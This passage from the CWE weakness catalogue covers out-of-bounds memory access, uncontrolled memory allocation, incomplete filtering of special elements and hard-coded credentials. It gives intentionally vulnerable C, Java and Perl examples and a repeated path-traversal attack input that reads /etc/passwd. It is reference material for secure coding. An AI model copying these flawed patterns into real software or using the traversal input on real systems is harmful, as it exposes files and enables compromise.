Confidentiality	Read Memory *For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.*	
Integrity Availability	Modify Memory DoS: Crash, Exit, or Restart	

Scope	Impact	Likelihood
	Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.	
Integrity	Modify Memory Execute Unauthorized Code or Commands *If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), they can redirect a function pointer to their own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.*	

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C *(bad)*

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

Example Language: C *(bad)*

```
int returnChunkSize(void *) {
    /* if chunk info is valid, return the size of usable memory,
    * else, return -1 to indicate an error
    */
    ...
```

```
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

Example Language: C *(bad)*

```
char * copy_input(char *user_supplied_string){
    int i, dst_index;
    char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
    if ( MAX_SIZE <= strlen(user_supplied_string) ){
        die("user string too long, die evil hacker!");
    }
    dst_index = 0;
    for ( i = 0; i < strlen(user_supplied_string); i++ ){
        if( '&' == user_supplied_string[i] ){
            dst_buf[dst_index++] = '&';
            dst_buf[dst_index++] = 'a';
            dst_buf[dst_index++] = 'm';
            dst_buf[dst_index++] = 'p';
            dst_buf[dst_index++] = ';';
        }
        else if ('<' == user_supplied_string[i] ){
            /* encode to &lt; */
        }
        else dst_buf[dst_index++] = user_supplied_string[i];
    }
    return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

Example Language: C *(bad)*

```
int processMessageFromSocket(int socket) {
    int success;
    char buffer[BUFFER_SIZE];
    char message[MESSAGE_SIZE];
    // get message from socket and store into buffer
    //Ignoring possibliity that buffer > BUFFER_SIZE
    if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
```

```
        // place contents of the buffer into message structure
        ExMessage *msg = recastBuffer(buffer);
        // copy message body into string for processing
        int index;
        for (index = 0; index < msg->msgLength; index++) {
            message[index] = msg->msgBody[index];
        }
        message[index] = '\0';
        // process message
        success = processMessage(message);
    }
    return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of the message body (CWE-606). This can result in a buffer over-read (CWE-125) by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Observed Examples

Reference	Description
CVE-2009-2550	Classic stack-based buffer overflow in media player using a long entry in a playlist *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2550*
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-2403*
CVE-2009-0689	large precision value in a format string triggers overflow *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0689*
CVE-2009-0558	attacker-controlled array index leads to code execution *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0558*
CVE-2008-4113	OS kernel trusts userland-supplied length value, allowing reading of sensitive information *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4113*
CVE-2007-4268	Chain: integer signedness error (CWE-195) passes signed comparison, leading to heap overflow (CWE-122) *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4268*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	V	884	CWE Cross-section	884	2037
MemberOf	C	1129	CISQ Quality Measures - Reliability	1128	1979

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
OMG ASCRM	ASCRM-CWE-788		

References

[REF-961]Object Management Group (OMG). "Automated Source Code Reliability Measure (ASCRM)". 2016 January. < http://www.omg.org/spec/ASCRM/1.0/ >.

CWE-789: Uncontrolled Memory Allocation

Weakness ID : 789 **Status:** Draft
Structure : Simple
Abstraction : Variant

Description

The product allocates memory based on an untrusted size value, but it does not validate or incorrectly validates the size, allowing arbitrary amounts of memory to be allocated.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	1284	Improper Validation of Specified Quantity in Input	1837
ChildOf	B	770	Allocation of Resources Without Limits or Throttling	1422
CanFollow	V	129	Improper Validation of Array Index	312
CanPrecede	B	476	NULL Pointer Dereference	1009

Weakness Ordinalities

Primary :

Resultant :

Applicable Platforms

Language : C *(Prevalence = Undetermined)*

Language : C++ *(Prevalence = Undetermined)*

Language : Language-Independent *(Prevalence = Undetermined)*

Likelihood Of Exploit

Low

Common Consequences

Scope	Impact	Likelihood
Availability	DoS: Resource Consumption (Memory) *Not controlling memory allocation can result in a request for too much system memory, possibly leading to a crash of the application due to out-of-memory conditions, or the consumption of a large amount of memory on the system.*	

Potential Mitigations

Phase: Implementation

Phase: Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Phase: Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

Demonstrative Examples

Example 1:

Consider the following code, which accepts an untrusted size value and allocates a buffer to contain a string of the given size.

Example Language: C *(bad)*

```
unsigned int size = GetUntrustedInt();
/* ignore integer overflow (CWE-190) for this example */
unsigned int totBytes = size * sizeof(char);
char *string = (char *)malloc(totBytes);
InitializeString(string);
```

Suppose an attacker provides a size value of:

12345678

This will cause 305,419,896 bytes (over 291 megabytes) to be allocated for the string.

Example 2:

Consider the following code, which accepts an untrusted size value and uses the size as an initial capacity for a HashMap.

Example Language: Java *(bad)*

```
unsigned int size = GetUntrustedInt();
HashMap list = new HashMap(size);
```

The HashMap constructor will verify that the initial capacity is not negative, however there is no check in place to verify that sufficient memory is present. If the attacker provides a large enough value, the application will run into an OutOfMemoryError.

Example 3:

The following code obtains an untrusted number that it used as an index into an array of messages.

Example Language: Perl *(bad)*

```
my $num = GetUntrustedNumber();
my @messages = ();
$messages[$num] = "Hello World";
```

The index is not validated at all (CWE-129), so it might be possible for an attacker to modify an element in @messages that was not intended. If an index is used that is larger than the current size of the array, the Perl interpreter automatically expands the array so that the large index works.

If $num is a large value such as 2147483648 (1<<31), then the assignment to $messages[$num] would attempt to create a very large array, then eventually produce an error message such as:

Out of memory during array extend

This memory exhaustion will cause the Perl program to exit, possibly a denial of service. In addition, the lack of memory could also prevent many other programs from successfully running on the system.

Observed Examples

Reference	Description
CVE-2008-1708	memory consumption and daemon exit by specifying a large value in a length field *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1708*

Reference	Description
CVE-2008-0977	large value in a length field leads to memory consumption and crash when no more memory is available *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0977*
CVE-2006-3791	large key size in game program triggers crash when a resizing function cannot allocate enough memory *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3791*
CVE-2004-2589	large Content-Length HTTP header value triggers application crash in instant messaging application due to failure in memory allocation *https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2589*

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	1131	CISQ Quality Measures - Security	1128	1981
MemberOf	C	1162	SEI CERT C Coding Standard - Guidelines 08. Memory Management (MEM)	1154	1998

Notes

Relationship

This weakness can be closely associated with integer overflows (CWE-190). Integer overflow attacks would concentrate on providing an extremely large number that triggers an overflow that causes less memory to be allocated than expected. By providing a large value that does not trigger an integer overflow, the attacker could still cause excessive amounts of memory to be allocated.

Applicable Platform

Uncontrolled memory allocation is possible in many languages, such as dynamic array allocation in perl or initial size parameters in Collections in Java. However, languages like C and C++ where programmers have the power to more directly control memory management will be more susceptible.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
WASC	35		SOAP Array Abuse
CERT C Secure Coding	MEM35-C	Imprecise	Allocate sufficient memory for an object
SEI CERT Perl Coding Standard	IDS32-PL	Imprecise	Validate any integer that is used as an array index
OMG ASCSM	ASCSM-CWE-789		

References

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-962]Object Management Group (OMG). "Automated Source Code Security Measure (ASCSM)". 2016 January. < http://www.omg.org/spec/ASCSM/1.0/ >.

CWE-790: Improper Filtering of Special Elements

Weakness ID : 790 **Status:** Incomplete

Structure : Simple
Abstraction : Class

Description

The software receives data from an upstream component, but does not filter or incorrectly filters special elements before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf		138	Improper Neutralization of Special Elements	342
ParentOf	B	791	Incomplete Filtering of Special Elements	1478

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

CWE-791: Incomplete Filtering of Special Elements

Weakness ID : 791 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	C	790	Improper Filtering of Special Elements	1476
ParentOf	V	792	Incomplete Filtering of One or More Instances of Special Elements	1479
ParentOf	B	795	Only Filtering Special Elements at a Specified Location	1483

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

CWE-792: Incomplete Filtering of One or More Instances of Special Elements

Weakness ID : 792 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives data from an upstream component, but does not completely filter one or more instances of special elements before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature involves either:

- only filtering a single instance of a special element when more exist, or
- not filtering all instances or all elements where multiple special elements exist.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	791	Incomplete Filtering of Special Elements	1478
ParentOf	V	793	Only Filtering One Instance of a Special Element	1480
ParentOf	V	794	Incomplete Filtering of Multiple Instances of Special Elements	1481

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

CWE-793: Only Filtering One Instance of a Special Element

Weakness ID : 793 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature may be location-dependent, as in only the first or last element is filtered.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	792	Incomplete Filtering of One or More Instances of Special Elements	1479

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

CWE-794: Incomplete Filtering of Multiple Instances of Special Elements

Weakness ID : 794 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature may be applied to:

- sequential elements (special elements that appear next to each other) or
- non-sequential elements (special elements that appear multiple times in different locations).

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	V	792	Incomplete Filtering of One or More Instances of Special Elements	1479

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

CWE-795: Only Filtering Special Elements at a Specified Location

Weakness ID : 795 **Status:** Incomplete
Structure : Simple
Abstraction : Base

Description

The software receives data from an upstream component, but only accounts for special elements at a specified location, thereby missing remaining special elements that may exist before sending it to a downstream component.

Extended Description

A filter might only account for instances of special elements when they occur:

- relative to a marker (e.g. "at the beginning/end of string; the second argument"), or
- at an absolute position (e.g. "byte number 10").

This may leave special elements in the data that did not match the filter position, but still may be dangerous.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	791	Incomplete Filtering of Special Elements	1478
ParentOf	V	796	Only Filtering Special Elements Relative to a Marker	1484
ParentOf	V	797	Only Filtering Special Elements at an Absolute Position	1485

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	137	Data Neutralization Issues	1851

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

CWE-796: Only Filtering Special Elements Relative to a Marker

Weakness ID : 796 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. "at the beginning/end of a string; the second argument"), thereby missing remaining special elements that may exist before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	795	Only Filtering Special Elements at a Specified Location	1483

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\//;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

CWE-797: Only Filtering Special Elements at an Absolute Position

Weakness ID : 797 **Status:** Incomplete
Structure : Simple
Abstraction : Variant

Description

The software receives data from an upstream component, but only accounts for special elements at an absolute position (e.g. "byte number 10"), thereby missing remaining special elements that may exist before sending it to a downstream component.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	795	Only Filtering Special Elements at a Specified Location	1483

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1019	Validate Inputs	1972

Common Consequences

Scope	Impact	Likelihood
Integrity	Unexpected State	

Demonstrative Examples

Example 1:

The following code takes untrusted input and uses a substring function to filter a 3-character "../" element located at the 0-index position of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Example Language: Perl *(bad)*

```
my $Username = GetUntrustedInput();
if (substr($Username, 0, 3) eq '../') {
    $Username = substr($Username, 3);
}
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the if function is only looking for a substring of "../" between the 0 and 2 position, it only removes that specific "../" element. So an input value such as:

Example Language: *(attack)*

```
../../../etc/passwd
```

will have the first "../" filtered, resulting in:

Example Language: *(result)*

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Example Language: *(result)*

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

CWE-798: Use of Hard-coded Credentials

Weakness ID : 798 **Status:** Draft
Structure : Simple
Abstraction : Base

Description

The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.

Extended Description

Hard-coded credentials typically create a significant hole that allows an attacker to bypass the authentication that has been configured by the software administrator. This hole might be difficult for the system administrator to detect. Even if detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

Inbound: the software contains an authentication mechanism that checks the input credentials against a hard-coded set of credentials.
Outbound: the software connects to another system or component, and it contains hard-coded credentials for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

Nature	Type	ID	Name	Page
ChildOf	B	344	Use of Invariant Value in Dynamically Changing Context	757
ChildOf	C	671	Lack of Administrator Control over Security	1309
ChildOf	C	287	Improper Authentication	630
ParentOf	V	259	Use of Hard-coded Password	569
ParentOf	V	321	Use of Hard-coded Cryptographic Key	709
PeerOf	B	257	Storing Passwords in a Recoverable Format	564

Relevant to the view "Weaknesses for Simplified Mapping of Published Vulnerabilities" (CWE-1003)

Nature	Type	ID	Name	Page
ChildOf	C	287	Improper Authentication	630

Relevant to the view "Architectural Concepts" (CWE-1008)

Nature	Type	ID	Name	Page
MemberOf	C	1010	Authenticate Actors	1964

Relevant to the view "Software Development" (CWE-699)

Nature	Type	ID	Name	Page
MemberOf	C	255	Credentials Management Errors	1855

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent *(Prevalence = Undetermined)*

Technology : Mobile *(Prevalence = Undetermined)*

Likelihood Of Exploit

High

Common Consequences

Scope	Impact	Likelihood
Access Control	Bypass Protection Mechanism *If hard-coded passwords are used, it is almost certain that malicious users will gain access to the account in question.*	
Integrity Confidentiality Availability Access Control Other	Read Application Data Gain Privileges or Assume Identity Execute Unauthorized Code or Commands Other *This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.*	

Detection Methods

Black Box

Credential storage in configuration files is findable using black box methods, but the use of hard-coded credentials for an incoming authentication routine typically involves an account that is not visible outside of the code.

Effectiveness = Moderate

Automated Static Analysis

Automated white box techniques have been published for detecting hard-coded credentials for incoming authentication, but there is some expert disagreement regarding their effectiveness and applicability to a broad range of methods.

Manual Static Analysis

This weakness may be detectable using manual code analysis. Unless authentication is decentralized and applied throughout the software, there can be sufficient time for the analyst to find incoming authentication routines and examine the program logic looking for usage of hard-coded credentials. Configuration files could also be analyzed.

Manual Dynamic Analysis

For hard-coded credentials in incoming authentication: use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and perform a login. Using call trees or

similar artifacts from the output, examine the associated behaviors and see if any of them appear to be comparing the input to a fixed string or value.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = SOAR Partial

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = High

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Network Sniffer Forced Path Execution

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Focused Manual Spotcheck - Focused manual analysis of source Manual Source Code Review (not inspections)

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = High

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker

Effectiveness = SOAR Partial

Architecture or Design Review

